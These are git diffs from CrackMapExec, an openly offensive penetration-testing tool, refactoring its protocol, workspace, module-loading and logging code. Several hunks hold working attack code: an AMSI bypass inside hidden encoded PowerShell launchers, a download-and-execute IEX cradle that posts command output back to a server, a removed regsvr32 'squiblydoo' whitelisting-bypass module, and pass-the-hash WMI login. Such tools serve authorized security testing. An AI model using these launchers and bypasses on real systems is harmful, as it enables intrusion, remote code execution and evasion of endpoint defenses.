||||||
self.__password = connection.password
|
|
||||||
self.__hash = connection.hash
|
|
||||||
self.__domain = connection.domain
|
|
||||||
self.__namespace = connection.args.wmi_namespace
|
|
||||||
self.__query = connection.args.wmi
|
|
||||||
self.__iWbemServices = None
|
|
||||||
self.__doKerberos = False
|
|
||||||
self.__aesKey = None
|
|
||||||
self.__oxidResolver = True
|
|
||||||
self.__lmhash = ''
|
|
||||||
self.__nthash = ''
|
|
||||||
|
|
||||||
if self.__hash is not None:
|
|
||||||
self.__lmhash, self.__nthash = self.__hash.split(':')
|
|
||||||
|
|
||||||
if self.__password is None:
|
|
||||||
self.__password = ''
|
|
||||||
|
|
||||||
self.__dcom = DCOMConnection(self.__addr, self.__username, self.__password, self.__domain,
|
|
||||||
self.__lmhash, self.__nthash, self.__aesKey, self.__oxidResolver, self.__doKerberos)
|
|
||||||
|
|
||||||
try:
|
|
||||||
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
|
|
||||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
|
||||||
self.__iWbemServices= iWbemLevel1Login.NTLMLogin(self.__namespace, NULL, NULL)
|
|
||||||
iWbemLevel1Login.RemRelease()
|
|
||||||
except Exception as e:
|
|
||||||
self.__logger.error(e)
|
|
||||||
|
|
||||||
def query(self):
|
|
||||||
|
|
||||||
query = self.__query.strip('\n')
|
|
||||||
|
|
||||||
if query[-1:] == ';':
|
|
||||||
query = query[:-1]
|
|
||||||
|
|
||||||
if self.__iWbemServices:
|
|
||||||
|
|
||||||
iEnumWbemClassObject = self.__iWbemServices.ExecQuery(query.strip('\n'))
|
|
||||||
self.__logger.success('Executed specified WMI query')
|
|
||||||
self.printReply(iEnumWbemClassObject)
|
|
||||||
iEnumWbemClassObject.RemRelease()
|
|
||||||
|
|
||||||
self.__iWbemServices.RemRelease()
|
|
||||||
self.__dcom.disconnect()
|
|
||||||
|
|
||||||
def describe(self, sClass):
|
|
||||||
sClass = sClass.strip('\n')
|
|
||||||
if sClass[-1:] == ';':
|
|
||||||
sClass = sClass[:-1]
|
|
||||||
try:
|
|
||||||
iObject, _ = self.iWbemServices.GetObject(sClass)
|
|
||||||
iObject.printInformation()
|
|
||||||
iObject.RemRelease()
|
|
||||||
except Exception as e:
|
|
||||||
traceback.print_exc()
|
|
||||||
|
|
||||||
def printReply(self, iEnum):
|
|
||||||
printHeader = True
|
|
||||||
while True:
|
|
||||||
try:
|
|
||||||
pEnum = iEnum.Next(0xffffffff,1)[0]
|
|
||||||
record = pEnum.getProperties()
|
|
||||||
line = []
|
|
||||||
for rec in record:
|
|
||||||
line.append('{}: {}'.format(rec, record[rec]['value']))
|
|
||||||
self.__logger.highlight(' | '.join(line))
|
|
||||||
except Exception, e:
|
|
||||||
#import traceback
|
|
||||||
#print traceback.print_exc()
|
|
||||||
if str(e).find('S_FALSE') < 0:
|
|
||||||
raise
|
|
||||||
else:
|
|
||||||
break
|
|
||||||
iEnum.RemRelease()
|
|
|
@ -2,12 +2,13 @@ import os
|
||||||
import sqlite3
|
import sqlite3
|
||||||
import shutil
|
import shutil
|
||||||
import cme
|
import cme
|
||||||
|
from cme.loaders.protocol_loader import protocol_loader
|
||||||
from subprocess import check_output, PIPE
|
from subprocess import check_output, PIPE
|
||||||
from sys import exit
|
from sys import exit
|
||||||
|
|
||||||
CME_PATH = os.path.expanduser('~/.cme')
|
CME_PATH = os.path.expanduser('~/.cme')
|
||||||
TMP_PATH = os.path.join('/tmp', 'cme_hosted')
|
TMP_PATH = os.path.join('/tmp', 'cme_hosted')
|
||||||
DB_PATH = os.path.join(CME_PATH, 'cme.db')
|
WS_PATH = os.path.join(CME_PATH, 'workspaces')
|
||||||
CERT_PATH = os.path.join(CME_PATH, 'cme.pem')
|
CERT_PATH = os.path.join(CME_PATH, 'cme.pem')
|
||||||
CONFIG_PATH = os.path.join(CME_PATH, 'cme.conf')
|
CONFIG_PATH = os.path.join(CME_PATH, 'cme.conf')
|
||||||
|
|
||||||
|
@ -18,49 +19,41 @@ def first_run_setup(logger):
|
||||||
|
|
||||||
if not os.path.exists(CME_PATH):
|
if not os.path.exists(CME_PATH):
|
||||||
logger.info('First time use detected')
|
logger.info('First time use detected')
|
||||||
logger.info('Creating home directory structure')
|
logger.info('Creating home directory structure')
|
||||||
|
|
||||||
os.mkdir(CME_PATH)
|
os.mkdir(CME_PATH)
|
||||||
folders = ['logs', 'modules']
|
folders = ['logs', 'modules', 'protocols', 'workspaces']
|
||||||
for folder in folders:
|
for folder in folders:
|
||||||
os.mkdir(os.path.join(CME_PATH,folder))
|
os.mkdir(os.path.join(CME_PATH,folder))
|
||||||
|
|
||||||
if not os.path.exists(DB_PATH):
|
if not os.path.exists(os.path.join(WS_PATH, 'default')):
|
||||||
logger.info('Initializing the database')
|
logger.info('Creating default workspace')
|
||||||
conn = sqlite3.connect(DB_PATH)
|
os.mkdir(os.path.join(WS_PATH, 'default'))
|
||||||
c = conn.cursor()
|
|
||||||
|
|
||||||
# try to prevent some of the weird sqlite I/O errors
|
p_loader = protocol_loader()
|
||||||
c.execute('PRAGMA journal_mode = OFF')
|
protocols = p_loader.get_protocols()
|
||||||
|
for protocol in protocols.keys():
|
||||||
|
try:
|
||||||
|
protocol_object = p_loader.load_protocol(protocols[protocol]['dbpath'])
|
||||||
|
except KeyError:
|
||||||
|
continue
|
||||||
|
|
||||||
c.execute('''CREATE TABLE "hosts" (
|
proto_db_path = os.path.join(WS_PATH, 'default', protocol + '.db')
|
||||||
"id" integer PRIMARY KEY,
|
|
||||||
"ip" text,
|
|
||||||
"hostname" text,
|
|
||||||
"domain" test,
|
|
||||||
"os" text
|
|
||||||
)''')
|
|
||||||
|
|
||||||
#This table keeps track of which credential has admin access over which machine and vice-versa
|
if not os.path.exists(proto_db_path):
|
||||||
c.execute('''CREATE TABLE "links" (
|
logger.info('Initializing {} protocol database'.format(protocol.upper()))
|
||||||
"id" integer PRIMARY KEY,
|
conn = sqlite3.connect(proto_db_path)
|
||||||
"credid" integer,
|
c = conn.cursor()
|
||||||
"hostid" integer
|
|
||||||
)''')
|
|
||||||
|
|
||||||
# type = hash, plaintext
|
# try to prevent some of the weird sqlite I/O errors
|
||||||
c.execute('''CREATE TABLE "credentials" (
|
c.execute('PRAGMA journal_mode = OFF')
|
||||||
"id" integer PRIMARY KEY,
|
c.execute('PRAGMA foreign_keys = 1')
|
||||||
"credtype" text,
|
|
||||||
"domain" text,
|
|
||||||
"username" text,
|
|
||||||
"password" text,
|
|
||||||
"pillagedfrom" integer
|
|
||||||
)''')
|
|
||||||
|
|
||||||
# commit the changes and close everything off
|
getattr(protocol_object, 'database').db_schema(c)
|
||||||
conn.commit()
|
|
||||||
conn.close()
|
# commit the changes and close everything off
|
||||||
|
conn.commit()
|
||||||
|
conn.close()
|
||||||
|
|
||||||
if not os.path.exists(CONFIG_PATH):
|
if not os.path.exists(CONFIG_PATH):
|
||||||
logger.info('Copying default configuration file')
|
logger.info('Copying default configuration file')
|
||||||
|
@ -79,4 +72,4 @@ def first_run_setup(logger):
|
||||||
logger.error('Error while generating SSL certificate: {}'.format(e))
|
logger.error('Error while generating SSL certificate: {}'.format(e))
|
||||||
exit(1)
|
exit(1)
|
||||||
|
|
||||||
os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US" > /dev/null 2>&1'.format(path=CERT_PATH))
|
os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US" > /dev/null 2>&1'.format(path=CERT_PATH))
|
||||||
|
|
|
@ -0,0 +1,13 @@
|
||||||
|
import os
|
||||||
|
from termcolor import colored
|
||||||
|
|
||||||
|
def write_log(data, log_name):
|
||||||
|
logs_dir = os.path.join(os.path.expanduser('~/.cme'), 'logs')
|
||||||
|
with open(os.path.join(logs_dir, log_name), 'w') as log_output:
|
||||||
|
log_output.write(data)
|
||||||
|
|
||||||
|
def highlight(text, color='yellow'):
|
||||||
|
if color == 'yellow':
|
||||||
|
return u'{}'.format(colored(text, 'yellow', attrs=['bold']))
|
||||||
|
elif color == 'red':
|
||||||
|
return u'{}'.format(colored(text, 'red', attrs=['bold']))
|
|
@ -0,0 +1,13 @@
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
import re
|
||||||
|
|
||||||
|
def gen_random_string(length=10):
|
||||||
|
return ''.join(random.sample(string.ascii_letters, int(length)))
|
||||||
|
|
||||||
|
def validate_ntlm(data):
|
||||||
|
allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
|
||||||
|
if allowed.match(data):
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
return False
|
|
@ -1,30 +1,12 @@
|
||||||
import random
|
|
||||||
import string
|
|
||||||
import re
|
|
||||||
import cme
|
import cme
|
||||||
import os
|
import os
|
||||||
import logging
|
import logging
|
||||||
|
import re
|
||||||
from base64 import b64encode
|
from base64 import b64encode
|
||||||
from termcolor import colored
|
|
||||||
|
|
||||||
def gen_random_string(length=10):
|
|
||||||
return ''.join(random.sample(string.ascii_letters, int(length)))
|
|
||||||
|
|
||||||
def validate_ntlm(data):
|
|
||||||
allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
|
|
||||||
if allowed.match(data):
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|
||||||
def get_ps_script(path):
|
def get_ps_script(path):
|
||||||
return os.path.join(os.path.dirname(cme.__file__), 'data', path)
|
return os.path.join(os.path.dirname(cme.__file__), 'data', path)
|
||||||
|
|
||||||
def write_log(data, log_name):
|
|
||||||
logs_dir = os.path.join(os.path.expanduser('~/.cme'), 'logs')
|
|
||||||
with open(os.path.join(logs_dir, log_name), 'w') as mimikatz_output:
|
|
||||||
mimikatz_output.write(data)
|
|
||||||
|
|
||||||
def obfs_ps_script(script):
|
def obfs_ps_script(script):
|
||||||
"""
|
"""
|
||||||
Strip block comments, line comments, empty lines, verbose statements,
|
Strip block comments, line comments, empty lines, verbose statements,
|
||||||
|
@ -38,7 +20,7 @@ def obfs_ps_script(script):
|
||||||
|
|
||||||
def create_ps_command(ps_command, force_ps32=False, nothidden=False):
|
def create_ps_command(ps_command, force_ps32=False, nothidden=False):
|
||||||
ps_command = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
|
ps_command = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
|
||||||
try{{
|
try{{
|
||||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
|
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
|
||||||
}}catch{{}}
|
}}catch{{}}
|
||||||
{}
|
{}
|
||||||
|
@ -48,9 +30,9 @@ try{{
|
||||||
|
|
||||||
if force_ps32:
|
if force_ps32:
|
||||||
command = """$command = '{}'
|
command = """$command = '{}'
|
||||||
if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
|
if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
|
||||||
{{
|
{{
|
||||||
|
|
||||||
$exec = $Env:windir + '\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded ' + $command
|
$exec = $Env:windir + '\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded ' + $command
|
||||||
IEX $exec
|
IEX $exec
|
||||||
}}
|
}}
|
||||||
|
@ -61,7 +43,7 @@ else
|
||||||
IEX $exec
|
IEX $exec
|
||||||
|
|
||||||
}}""".format(b64encode(ps_command.encode('UTF-16LE')))
|
}}""".format(b64encode(ps_command.encode('UTF-16LE')))
|
||||||
|
|
||||||
if nothidden is True:
|
if nothidden is True:
|
||||||
command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
|
command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
|
||||||
else:
|
else:
|
||||||
|
@ -73,10 +55,26 @@ else
|
||||||
else:
|
else:
|
||||||
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
|
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
|
||||||
|
|
||||||
return command
|
return command
|
||||||
|
|
||||||
def highlight(text, color='yellow'):
|
def gen_ps_iex_cradle(server, addr, port, script_name, command):
|
||||||
if color == 'yellow':
|
launcher = '''
|
||||||
return u'{}'.format(colored(text, 'yellow', attrs=['bold']))
|
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_script_name}');
|
||||||
elif color == 'red':
|
$cmd = {command};
|
||||||
return u'{}'.format(colored(text, 'red', attrs=['bold']))
|
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
||||||
|
$request.Method = 'POST';
|
||||||
|
$request.ContentType = 'application/x-www-form-urlencoded';
|
||||||
|
$bytes = [System.Text.Encoding]::ASCII.GetBytes($cmd);
|
||||||
|
$request.ContentLength = $bytes.Length;
|
||||||
|
$requestStream = $request.GetRequestStream();
|
||||||
|
$requestStream.Write( $bytes, 0, $bytes.Length );
|
||||||
|
$requestStream.Close();
|
||||||
|
$request.GetResponse();'''.format(server=server,
|
||||||
|
port=port,
|
||||||
|
addr=addr,
|
||||||
|
ps_script_name=script_name,
|
||||||
|
command=command)
|
||||||
|
|
||||||
|
logging.debug('Generated PS IEX Launcher:\n {}'.format(launcher))
|
||||||
|
|
||||||
|
return launcher
|
|
@ -2,12 +2,10 @@ import imp
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
import cme
|
import cme
|
||||||
from logging import getLogger
|
|
||||||
from cme.context import Context
|
from cme.context import Context
|
||||||
from cme.logger import CMEAdapter
|
from cme.logger import CMEAdapter
|
||||||
from cme.cmeserver import CMEServer
|
|
||||||
|
|
||||||
class ModuleLoader:
|
class module_loader:
|
||||||
|
|
||||||
def __init__(self, args, db, logger):
|
def __init__(self, args, db, logger):
|
||||||
self.args = args
|
self.args = args
|
||||||
|
@ -26,22 +24,18 @@ class ModuleLoader:
|
||||||
self.logger.error('{} missing the description variable'.format(module_path))
|
self.logger.error('{} missing the description variable'.format(module_path))
|
||||||
module_error = True
|
module_error = True
|
||||||
|
|
||||||
elif not hasattr(module, 'chain_support'):
|
#elif not hasattr(module, 'chain_support'):
|
||||||
self.logger.error('{} missing the chain_support variable'.format(module_path))
|
# self.logger.error('{} missing the chain_support variable'.format(module_path))
|
||||||
module_error = True
|
# module_error = True
|
||||||
|
|
||||||
|
elif not hasattr(module, 'supported_protocols'):
|
||||||
|
self.logger.error('{} missing the supported_protocols variable'.format(module_path))
|
||||||
|
module_error = True
|
||||||
|
|
||||||
elif not hasattr(module, 'options'):
|
elif not hasattr(module, 'options'):
|
||||||
self.logger.error('{} missing the options function'.format(module_path))
|
self.logger.error('{} missing the options function'.format(module_path))
|
||||||
module_error = True
|
module_error = True
|
||||||
|
|
||||||
elif not hasattr(module, 'launcher'):
|
|
||||||
self.logger.error('{} missing the launcher function'.format(module_path))
|
|
||||||
module_error = True
|
|
||||||
|
|
||||||
elif not hasattr(module, 'payload'):
|
|
||||||
self.logger.error('{} missing the payload function'.format(module_path))
|
|
||||||
module_error = True
|
|
||||||
|
|
||||||
elif not hasattr(module, 'on_login') and not (module, 'on_admin_login'):
|
elif not hasattr(module, 'on_login') and not (module, 'on_admin_login'):
|
||||||
self.logger.error('{} missing the on_login/on_admin_login function(s)'.format(module_path))
|
self.logger.error('{} missing the on_login/on_admin_login function(s)'.format(module_path))
|
||||||
module_error = True
|
module_error = True
|
||||||
|
@ -67,22 +61,19 @@ class ModuleLoader:
|
||||||
if module[-3:] == '.py' and module != 'example_module.py':
|
if module[-3:] == '.py' and module != 'example_module.py':
|
||||||
module_path = os.path.join(path, module)
|
module_path = os.path.join(path, module)
|
||||||
m = self.load_module(os.path.join(path, module))
|
m = self.load_module(os.path.join(path, module))
|
||||||
if m:
|
if m and (self.args.protocol in m.supported_protocols):
|
||||||
modules[m.name] = {'path': os.path.join(path, module), 'description': m.description, 'options': m.options.__doc__, 'chain_support': m.chain_support}
|
modules[m.name] = {'path': os.path.join(path, module), 'description': m.description, 'options': m.options.__doc__}#'chain_support': m.chain_support}
|
||||||
|
|
||||||
return modules
|
return modules
|
||||||
|
|
||||||
def init_module(self, module_path):
|
def init_module(self, module_path):
|
||||||
|
|
||||||
module = None
|
module = None
|
||||||
server = None
|
|
||||||
context = None
|
|
||||||
server_port_dict = {'http': 80, 'https': 443}
|
|
||||||
|
|
||||||
module = self.load_module(module_path)
|
module = self.load_module(module_path)
|
||||||
|
|
||||||
if module:
|
if module:
|
||||||
module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper()})
|
module_logger = CMEAdapter(extra={'module': module.name.upper()})
|
||||||
context = Context(self.db, module_logger, self.args)
|
context = Context(self.db, module_logger, self.args)
|
||||||
|
|
||||||
module_options = {}
|
module_options = {}
|
||||||
|
@ -93,15 +84,4 @@ class ModuleLoader:
|
||||||
|
|
||||||
module.options(context, module_options)
|
module.options(context, module_options)
|
||||||
|
|
||||||
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
|
return module
|
||||||
|
|
||||||
if hasattr(module, 'required_server'):
|
|
||||||
self.args.server = getattr(module, 'required_server')
|
|
||||||
|
|
||||||
if not self.args.server_port:
|
|
||||||
self.args.server_port = server_port_dict[self.args.server]
|
|
||||||
|
|
||||||
server = CMEServer(module, context, self.logger, self.args.server_host, self.args.server_port, self.args.server)
|
|
||||||
server.start()
|
|
||||||
|
|
||||||
return module, context, server
|
|
|
@ -0,0 +1,36 @@
|
||||||
|
import imp
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import cme
|
||||||
|
|
||||||
|
class protocol_loader:
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self.cme_path = os.path.expanduser('~/.cme')
|
||||||
|
|
||||||
|
def load_protocol(self, protocol_path):
|
||||||
|
protocol = imp.load_source('protocol', protocol_path)
|
||||||
|
#if self.module_is_sane(module, module_path):
|
||||||
|
return protocol
|
||||||
|
|
||||||
|
def get_protocols(self):
|
||||||
|
protocols = {}
|
||||||
|
|
||||||
|
protocol_paths = [os.path.join(os.path.dirname(cme.__file__), 'protocols'), os.path.join(self.cme_path, 'protocols')]
|
||||||
|
|
||||||
|
for path in protocol_paths:
|
||||||
|
for protocol in os.listdir(path):
|
||||||
|
if protocol[-3:] == '.py' and protocol[:-3] != '__init__':
|
||||||
|
protocol_path = os.path.join(path, protocol)
|
||||||
|
protocol_name = protocol[:-3]
|
||||||
|
|
||||||
|
protocols[protocol_name] = {'path' : protocol_path}
|
||||||
|
|
||||||
|
db_file_path = os.path.join(path, protocol_name, 'database.py')
|
||||||
|
db_nav_path = os.path.join(path, protocol_name, 'db_navigator.py')
|
||||||
|
if os.path.exists(db_file_path):
|
||||||
|
protocols[protocol_name]['dbpath'] = db_file_path
|
||||||
|
if os.path.exists(db_nav_path):
|
||||||
|
protocols[protocol_name]['nvpath'] = db_nav_path
|
||||||
|
|
||||||
|
return protocols
|
|
@ -5,7 +5,7 @@ from termcolor import colored
|
||||||
from datetime import datetime
|
from datetime import datetime
|
||||||
|
|
||||||
#The following hooks the FileHandler.emit function to remove ansi chars before logging to a file
|
#The following hooks the FileHandler.emit function to remove ansi chars before logging to a file
|
||||||
#There must be a better way of doing this...
|
#There must be a better way of doing this, but this way we might save some penguins!
|
||||||
|
|
||||||
ansi_escape = re.compile(r'\x1b[^m]*m')
|
ansi_escape = re.compile(r'\x1b[^m]*m')
|
||||||
|
|
||||||
|
@ -23,8 +23,8 @@ logging.FileHandler.emit = antiansi_emit
|
||||||
|
|
||||||
class CMEAdapter(logging.LoggerAdapter):
|
class CMEAdapter(logging.LoggerAdapter):
|
||||||
|
|
||||||
def __init__(self, logger, extra=None):
|
def __init__(self, logger_name='CME', extra=None):
|
||||||
self.logger = logger
|
self.logger = logging.getLogger(logger_name)
|
||||||
self.extra = extra
|
self.extra = extra
|
||||||
|
|
||||||
def process(self, msg, kwargs):
|
def process(self, msg, kwargs):
|
||||||
|
@ -43,12 +43,12 @@ class CMEAdapter(logging.LoggerAdapter):
|
||||||
if 'module' in self.extra.keys():
|
if 'module' in self.extra.keys():
|
||||||
module_name = colored(self.extra['module'], 'cyan', attrs=['bold'])
|
module_name = colored(self.extra['module'], 'cyan', attrs=['bold'])
|
||||||
else:
|
else:
|
||||||
module_name = colored('CME', 'blue', attrs=['bold'])
|
module_name = colored(self.extra['protocol'], 'blue', attrs=['bold'])
|
||||||
|
|
||||||
return u'{:<25} {}:{} {:<15} {}'.format(module_name,
|
return u'{:<25} {}:{} {:<15} {}'.format(module_name,
|
||||||
self.extra['host'],
|
self.extra['host'],
|
||||||
self.extra['port'],
|
self.extra['port'],
|
||||||
self.extra['hostname'].decode('utf-8') if self.extra['hostname'] else 'NONE',
|
self.extra['hostname'].decode('utf-8') if self.extra['hostname'] else 'NONE',
|
||||||
msg), kwargs
|
msg), kwargs
|
||||||
|
|
||||||
def info(self, msg, *args, **kwargs):
|
def info(self, msg, *args, **kwargs):
|
||||||
|
@ -111,4 +111,4 @@ def setup_logger(level=logging.INFO, log_to_file=False, log_prefix=None, logger_
|
||||||
|
|
||||||
cme_logger.setLevel(level)
|
cme_logger.setLevel(level)
|
||||||
|
|
||||||
return cme_logger
|
return cme_logger
|
||||||
|
|
|
@ -1,87 +0,0 @@
|
||||||
import imp
|
|
||||||
import os
|
|
||||||
import sys
|
|
||||||
import cme
|
|
||||||
from logging import getLogger
|
|
||||||
from cme.context import Context
|
|
||||||
from cme.logger import CMEAdapter
|
|
||||||
from cme.cmechainserver import CMEChainServer
|
|
||||||
from cme.moduleloader import ModuleLoader
|
|
||||||
|
|
||||||
class ModuleChainLoader(ModuleLoader):
|
|
||||||
|
|
||||||
def __init__(self, args, db, logger):
|
|
||||||
ModuleLoader.__init__(self, args, db, logger)
|
|
||||||
|
|
||||||
self.chain_list = []
|
|
||||||
|
|
||||||
#This parses the chain command
|
|
||||||
for module in self.args.module_chain.split('=>'):
|
|
||||||
if '[' in module:
|
|
||||||
module_name = module.split('[')[0]
|
|
||||||
module_options = module.split('[')[1][:-1]
|
|
||||||
|
|
||||||
module_dict = {'name': module_name}
|
|
||||||
|
|
||||||
module_dict['options'] = {}
|
|
||||||
for option in module_options.split(';;'):
|
|
||||||
key, value = option.split('=', 1)
|
|
||||||
if value[:1] == ('"' or "'") and value[-1:] == ('"' or "'"):
|
|
||||||
value = value[1:-1]
|
|
||||||
|
|
||||||
module_dict['options'][str(key).upper()] = value
|
|
||||||
|
|
||||||
self.chain_list.append(module_dict)
|
|
||||||
|
|
||||||
else:
|
|
||||||
module_dict = {'name': module}
|
|
||||||
module_dict['options'] = {}
|
|
||||||
|
|
||||||
self.chain_list.append(module_dict)
|
|
||||||
|
|
||||||
def is_module_chain_sane(self):
|
|
||||||
last_module = self.chain_list[-1]['name']
|
|
||||||
|
|
||||||
#Confirm that every chained module (except for the last one) actually supports chaining
|
|
||||||
for module in self.chain_list:
|
|
||||||
if module['name'] == last_module:
|
|
||||||
continue
|
|
||||||
|
|
||||||
module_object = module['object']
|
|
||||||
if getattr(module_object, 'chain_support') is not True:
|
|
||||||
return False
|
|
||||||
|
|
||||||
return True
|
|
||||||
|
|
||||||
def init_module_chain(self):
|
|
||||||
server_port_dict = {'http': 80, 'https': 443}
|
|
||||||
modules = self.get_modules()
|
|
||||||
|
|
||||||
#Initialize all modules specified in the chain command and add the objects to chain_list
|
|
||||||
for chained_module in self.chain_list:
|
|
||||||
for module in modules:
|
|
||||||
if module.lower() == chained_module['name'].lower():
|
|
||||||
chained_module['object'] = self.load_module(modules[module]['path'])
|
|
||||||
|
|
||||||
for module in self.chain_list:
|
|
||||||
module_logger = CMEAdapter(getLogger('CME'), {'module': module['name'].upper()})
|
|
||||||
context = Context(self.db, module_logger, self.args)
|
|
||||||
|
|
||||||
if module['object'] != self.chain_list[-1]['object']: module['options']['COMMAND'] = 'dont notice me senpai'
|
|
||||||
getattr(module['object'], 'options')(context, module['options'])
|
|
||||||
|
|
||||||
if hasattr(module['object'], 'required_server'):
|
|
||||||
self.args.server = getattr(module['object'], 'required_server')
|
|
||||||
|
|
||||||
if not self.args.server_port:
|
|
||||||
self.args.server_port = server_port_dict[self.args.server]
|
|
||||||
|
|
||||||
if self.is_module_chain_sane():
|
|
||||||
server_logger = CMEAdapter(getLogger('CME'), {'module': 'CMESERVER'})
|
|
||||||
context = Context(self.db, server_logger, self.args)
|
|
||||||
|
|
||||||
server = CMEChainServer(self.chain_list, context, self.logger, self.args.server_host, self.args.server_port, self.args.server)
|
|
||||||
server.start()
|
|
||||||
return self.chain_list, server
|
|
||||||
|
|
||||||
return None, None
|
|
|
@ -1,99 +0,0 @@
|
||||||
from cme.helpers import gen_random_string
|
|
||||||
from sys import exit
|
|
||||||
import os
|
|
||||||
|
|
||||||
class CMEModule:
|
|
||||||
|
|
||||||
'''
|
|
||||||
Executes a command using a COM scriptlet to bypass whitelisting (a.k.a squiblydoo)
|
|
||||||
|
|
||||||
Based on the awesome research by @subtee
|
|
||||||
|
|
||||||
https://gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302
|
|
||||||
http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html
|
|
||||||
'''
|
|
||||||
|
|
||||||
name='com_exec' #Really tempted just to call this squiblydoo
|
|
||||||
|
|
||||||
description = 'Executes a command using a COM scriptlet to bypass whitelisting'
|
|
||||||
|
|
||||||
required_server='http'
|
|
||||||
|
|
||||||
chain_support = True
|
|
||||||
|
|
||||||
def options(self, context, module_options):
|
|
||||||
'''
|
|
||||||
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
|
|
||||||
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
|
|
||||||
'''
|
|
||||||
|
|
||||||
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
|
|
||||||
context.log.error('COMMAND or CMDFILE options are required!')
|
|
||||||
exit(1)
|
|
||||||
|
|
||||||
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
|
|
||||||
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
|
|
||||||
exit(1)
|
|
||||||
|
|
||||||
if 'COMMAND' in module_options:
|
|
||||||
self.command = module_options['COMMAND']
|
|
||||||
|
|
||||||
elif 'CMDFILE' in module_options:
|
|
||||||
path = os.path.expanduser(module_options['CMDFILE'])
|
|
||||||
|
|
||||||
if not os.path.exists(path):
|
|
||||||
context.log.error('Path to CMDFILE invalid!')
|
|
||||||
exit(1)
|
|
||||||
|
|
||||||
with open(path, 'r') as cmdfile:
|
|
||||||
self.command = cmdfile.read().strip()
|
|
||||||
|
|
||||||
self.sct_name = gen_random_string(5)
|
|
||||||
|
|
||||||
def launcher(self, context, command):
|
|
||||||
launcher = 'regsvr32.exe /u /n /s /i:http://{}/{}.sct scrobj.dll'.format(context.localip, self.sct_name)
|
|
||||||
return launcher
|
|
||||||
|
|
||||||
def payload(self, context, command):
|
|
||||||
command = command.replace('\\', '\\\\')
|
|
||||||
command = command.replace('"', '\\"')
|
|
||||||
command = command.replace("'", "\\'")
|
|
||||||
|
|
||||||
payload = '''<?XML version="1.0"?>
|
|
||||||
<scriptlet>
|
|
||||||
<registration
|
|
||||||
description="Win32COMDebug"
|
|
||||||
progid="Win32COMDebug"
|
|
||||||
version="1.00"
|
|
||||||
classid="{{AAAA1111-0000-0000-0000-0000FEEDACDC}}"
|
|
||||||
>
|
|
||||||
<script language="JScript">
|
|
||||||
<![CDATA[
|
|
||||||
var r = new ActiveXObject("WScript.Shell").Run('{}');
|
|
||||||
]]>
|
|
||||||
</script>
|
|
||||||
</registration>
|
|
||||||
<public>
|
|
||||||
<method name="Exec"></method>
|
|
||||||
</public>
|
|
||||||
</scriptlet>'''.format(command)
|
|
||||||
|
|
||||||
context.log.debug('Generated payload:\n' + payload)
|
|
||||||
|
|
||||||
return payload
|
|
||||||
|
|
||||||
def on_admin_login(self, context, connection, launcher, payload):
|
|
||||||
connection.execute(launcher)
|
|
||||||
context.log.success('Executed squiblydoo')
|
|
||||||
|
|
||||||
def on_request(self, context, request, launcher, payload):
|
|
||||||
if '{}.sct'.format(self.sct_name) in request.path[1:]:
|
|
||||||
request.send_response(200)
|
|
||||||
request.end_headers()
|
|
||||||
|
|
||||||
request.wfile.write(payload)
|
|
||||||
request.stop_tracking_host()
|
|
||||||
|
|
||||||
else:
|
|
||||||
request.send_response(404)
|
|
||||||
request.end_headers()
|
|
|
@ -1,67 +0,0 @@
|
||||||
import sys
|
|
||||||
import requests
|
|
||||||
from requests import ConnectionError
|
|
||||||
|
|
||||||
#The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
|
|
||||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
|
||||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
|
||||||
|
|
||||||
class CMEModule:
|
|
||||||
'''
|
|
||||||
Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
|
|
||||||
Module by @byt3bl33d3r
|
|
||||||
'''
|
|
||||||
|
|
||||||
name='empire_exec'
|
|
||||||
|
|
||||||
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
|
|
||||||
|
|
||||||
chain_support = False
|
|
||||||
|
|
||||||
def options(self, context, module_options):
|
|
||||||
'''
|
|
||||||
